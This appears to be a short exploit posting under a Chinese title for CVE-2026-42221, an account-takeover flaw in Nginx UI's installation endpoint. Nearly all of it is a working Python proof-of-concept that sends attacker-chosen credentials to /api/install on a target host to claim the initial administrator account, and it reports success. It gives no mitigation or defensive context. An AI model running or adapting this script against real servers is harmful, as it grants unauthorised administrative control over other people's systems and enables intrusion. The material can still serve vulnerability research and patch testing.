CVE-2026-42221 Nginx UI 初始安装账户接管漏洞

import requests # Target URL of the vulnerable Nginx UI instance target_url = "http://<target-ip>:<port>/api/install" # Payload to claim the initial admin account # Note: Depending on the specific version, the payload might need to be encrypted # as per the client-side logic, but the endpoint itself lacks auth checks. payload = { "email": "[email protected]", "username": "hacker_admin", "password": "P@ssw0rd123!" } try: # Sending the POST request to the installation endpoint response = requests.post(target_url, json=payload, timeout=10) if response.status_code == 200: print("[+] Exploit successful! Admin account created.") print(f"[+] Response: {response.text}") else: print(f"[-] Failed. Status code: {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[-] Error: {e}")